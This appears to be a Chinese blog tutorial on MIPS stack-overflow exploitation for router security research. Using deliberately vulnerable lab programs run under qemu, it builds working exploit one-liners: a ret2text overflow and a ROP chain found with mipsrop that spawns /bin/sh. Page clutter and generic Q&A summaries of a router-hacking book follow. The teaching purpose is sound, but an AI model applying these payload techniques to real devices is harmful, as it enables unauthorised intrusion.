路由器漏洞挖掘之栈溢出入门(一)

前言

MIPS 指令集主要使用在一些嵌入式的 IOT 设备中,比如路由器,摄像头。要对这些设备进行二进制的漏洞挖掘就需要有对 MIPS 有一定的熟悉。MIPS 指令集的栈溢出与 x86 指令集的有所不同,所以漏洞的利用方式也不太相同,但是溢出的思路是一样的:覆盖返回地址、劫持程序控制流、构造 ROP chain 、写 shellcode 等等。本文介绍一下最基本的 MIPS 指令集下的栈溢出的利用方法。

x86 和 MIPS 指令集的差异

1.MIPS 指令系统大量使用寄存器,包括返回地址也是存放在 ra 寄存器中
2.没有堆栈直接操作的指令,也就是没有 push 和 pop 指令
3.所有指令都是 32 位编码,也就是说所有的数据和指令都是 4 字节对齐。

由于 MIPS 固定指令长度,所以造成其编译后的二进制文件和内存占用空间比 x86 的要大
MIPS 指令集使用 uclibc C 标准库,x86 使用 libc 的 C 标准库

基本的指令用法和两者的差异可以参考这里:
https://blog.csdn.net/gujing001/article/details/8476685

MIPS 的动态调试

在 qemu 上开启一个调试端口(-g 指定端口号),在 IDA 上使用 Remote GDB debugger,填上端口号和主机名即可

./qemu-mipsel -g 23946 xxxx

2NJ3zsG.png

具体的步骤可以看这里
https://www.jianshu.com/p/9841b412af37

  • 也可以使用 gdb 进行调试,但是 gdb 需要使用专门支持 mips 指令集的 gdb 版本

叶子函数和非叶子函数

叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性照成了对栈溢出利用方式的差异。

在某个函数中,如果这个函数不调用其他函数,那么就这个称为叶子函数。反则这个函数就是非叶子函数

举个例子

main 函数为叶子函数,函数中没有调用其他函数

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
    }
}

main 函数为非叶子函数,函数调用了其他函数(printf)

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
        printf("sum = %d",sum);
    }
}
  • 叶子函数的返回地址是直接放在 ra 寄存器中,而非叶子函数需要调用另外的函数,这里的差异就照成了非叶子函数需要把当前的返回地址暂时存放在栈上

1.非叶子函数,有 sw $ra,xxx 的操作,在函数退出时,会将存放在栈上的原来存放 ra 寄存器的值重新赋值到 ra 寄存器中

NuBx6ju.png

2.叶子函数,没有 sw $ra,xxx 的操作

sms8fy3.png

OgGAjpz.png
3D2Phnx.png

简单的栈溢出

用一个代码
has_stack 函数存在栈溢出,该函数是非叶子函数,可以溢出到存放返回地址栈空间,劫持程序流

  • 这里可以直接溢出到调用 vuln 函数,也就是最基本的 rop :ret2text(返回到程序已有的代码空间中,这里返回到 vuln 函数的空间中)
#include <stdio.h>

void vuln(){
        system("/bin/sh");
}

void has_stack(char *src){
        char dst[20] = {0};
        strcpy(dst,src);
        printf("copy success!\n");
}

void main(int argc,char *argv[]){
        has_stack(argv[1]);
}

动态分析

在 has_stack 函数调用 strcpy 时,下断点

hN1qhQz.png

开启服务器的远程调试:

nick@nick-machine:~/iot/program$ ./qemu-mipsel -g 23946 StackOverflow2 aaaaaaaaaaaaaaaaaa

在 IDA 连接上 gdb调试后,F9 运行到断点处,单步两次。这里 strcpy 函数的两个参数 a0、a1,函数的作用是将 a1 地址处的数据复制到 a0 地址处

Ge48BRP.png

没有对 a1 的地址的数据长度做限制,所以存在栈溢出。

F8 单步步过以后,看到输入的数据已经存放到栈上了,也可以很清楚的看到返回地址的位置。

SOzL7ey.png

计算偏移,得到 exp:

./qemu-mipsel StackOverflow2 `python -c "print 'a'*28+'\x90\x03\x40\x00'"`

本地运行,成功拿到 shell

HQK97v5.png

has_stack 函数栈帧的排布情况

简单画了一个图,便于理解(这里的栈的高地址在上

i8iS1S9.png

栈的生长方向为低地址向高地址,缓冲区溢出时就向 main 函数的区域溢出,控制程序流也就需要溢出到原来的 main + 30 处的栈空间

ROP chain 的利用

在 IDA 中寻找并构造 ROP chain 是使用 mipsrop.py 这个脚本来辅助 查找的:
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

  • 这个脚本只支持 IDA 6.8,不支持 6.8 以上的版本

用法

有几个主要的用法:

mipsrop.stackfinder()    寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系
mipsrop.summary()        列出所有的可用 rop
mipsrop.system()         寻找命令执行的的rop
mipsrop.find(xxx)        查找 find 函数参数的 rop,类似正则匹配

例子

这里举一个《揭秘家用路由器 0day 漏洞挖掘技术》里面的例子,来详细说明 ROP chain 的使用方法

源码
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system_0(int code,char *cmd)
{
    char buf[255];
    //sleep(1);
    system(cmd);
}

void main()
{
    char buf[256]={0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;

    if(0 == stat("passwd",&fileData))
        fileLen = fileData.st_size;
    else
        return 1;

    if((fp = fopen("passwd","rb")) == NULL)
    {
        printf("Cannot open file passwd!\n");
        exit(1);
    }

    
    ch=fgetc(fp);
    while(count <= fileLen)
    {
        buf[count++] = ch;
        ch = fgetc(fp);
    }
    buf[--count] = '\x00';
    
    if(!strcmp(buf,"adminpwd"))
    {
        do_system(count,"ls -l");
    }
    else
    {
        printf("you have an invalid password!\n");
    }
    fclose(fp);
}

溢出是在 main 函数中,很明显 main 函数是一个非叶子函数,所以 main 的返回地址是存放在栈上的,可以覆盖到返回地址,控制程序流

但是当我要要调用 do_system_0 函数时,他的第二个参数是在 a1 当中的,我们可控的只有栈上的内容,那个要找的 ROP chain 也就是需要将栈上的内容赋值给 a1 寄存器的汇编语句

可以直接使用 mipsrop.stackfinder() 命令来找找看

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00401D40  |  addiu $a1,$sp,0x58+var_40                           |  jr    0x58+var_4($sp)                 |
----------------------------------------------------------------------------------------------------------------
  • 在原来的 main 函数的中返回地址是 __uClibc_main 函数

分析

虚拟机中开启动态调试,IDA 连接上

./qemu-mipsel -g 23946 vuln_system

首先是 main 函数中的栈溢出,这里要调用 rop 的地址

MkLy9Gy.png

因为存放 ra 寄存器的栈空间被覆盖,此时的 ra 寄存器存放的就为 rop 的地址了。

Ua00uZQ.png

跳转到 rop 的栈空间时,我们再进行分析:

addiu $ai,$sp,0x58+var_40        等价于 a1 = sp+0x18
lw    $ra,0x58+var_4($sp)        等价于 ra = sp+0x54
jr    $ra                        跳到返回地址

所以这里可以分析出来,栈的排布情况:a1 在上,ra 在下,中间还有一段空间需要填充

图中的此时已经是被我填充好了的情况

7vUExGw.png

最后可以得到 exp

exp 的详细分析

python -c "print 'a'*0x108+'\x00\x40\x1D\x40'+'b'*24+'\x2f\x62\x69\x6e'+'\x2f\x73\x68\x00'+'c'*0x34+'\x00\x40\x03\x90'" > passwd
'a' * 0x108                            在 main 函数的栈空间填充到返回地址
'\x00\x40\x1D\x40'                     ROP chain 的地址
'b' * 24                               填充为 do_system_0 的第一个参数
\x2f\x62\x69\x6e'+'\x2f\x73\x68\x00'    /bin/sh 字符串
'c'*0x34                                填充
'\x00\x40\x03\x90'                      填充返回地址,调用 do_system_0 函数  

将这个程序运行起来,会读取 passwd 中的内容填充到程序的栈空间中,这样就可以得到 shell

CY6NTuQ.png

总结

最基础的栈溢出也就是一些简单的 rop 的利用,希望大家能多动手进行调试,在调试发现问题并慢慢进步~

转载于:https://www.cnblogs.com/H4lo/p/10466901.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 《揭秘家用路由器0day漏洞挖掘技术》是一本讲解家用路由器漏洞挖掘的技术书籍。这本书主要讲述了路由器漏洞的挖掘原理、方法和步骤,以及如何利用漏洞获取系统的管理员权限。 书中首先介绍了家用路由器的基本原理和工作模式,以及路由器的基本安全机制,包括密码验证、防火墙等,再讲述了路由器漏洞的基础知识,如堆栈溢出、格式化字符串漏洞等,为读者打下了扎实的理论基础。 接着,书中详细讲解了路由器漏洞的挖掘方法和技巧,包括静态分析、动态分析和Fuzzing技术,其中尤其强调了Fuzzing技术的重要性。Fuzzing技术是一种自动化的漏洞测试方法,通过向系统输入大量随机的无效数据,来寻找系统的漏洞,是现代漏洞挖掘技术中不可缺少的一部分。 最后,书中还分享了一些实用的漏洞利用技巧,如ROP链、GOT覆盖等,帮助读者能够深入理解漏洞利用的原理和方法,更好地应对各种复杂情况。 总的来说,《揭秘家用路由器0day漏洞挖掘技术》是一本非常实用的技术书籍,对于研究家用路由器安全的人员来说是一本不错的参考书。同时,对于网络安全爱好者,这本书也有很好的启发和帮助作用。 ### 回答2: 《揭秘家用路由器0day漏洞挖掘技术》是一份技术文档,主要介绍了基于路由器的0day漏洞挖掘技术和攻击方法。首先,文档介绍了路由器的基本结构和工作原理,包括路由器的硬件和软件组成,以及路由器的主要功能。其次,文档讲解了如何使用路由器的操作系统和开源工具进行漏洞分析和挖掘。最后,文档介绍了一些实际案例,包括路由器上的重大漏洞和针对路由器的攻击手段。 在文档中,作者重点介绍了路由器中常见的漏洞类型,包括缓冲区溢出、格式化字符串漏洞等,以及漏洞挖掘的一般方法。特别是在讲解缓冲区溢出漏洞时,作者详细地介绍了漏洞的原理、危害和检测方法,为有志于从事漏洞挖掘工作的安全研究员提供了有益的指导和参考。 除了讲解漏洞挖掘技术,文档还介绍了路由器中常见的攻击手段,如ARP欺骗、DNS劫持、端口扫描和DDoS攻击等。同时,文档也指出了如何通过安全配置和固件升级等方法来提高路由器的安全性。 总之,这份文档从技术方面全面详细地介绍了家用路由器的漏洞和攻击,为安全研究工作者提供了更深入的认识和了解,也提醒用户关注家用路由器的安全性。需要指出的是,本文档旨在为安全研究和教育提供帮助,对非法攻击行为不作任何支持或鼓励。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值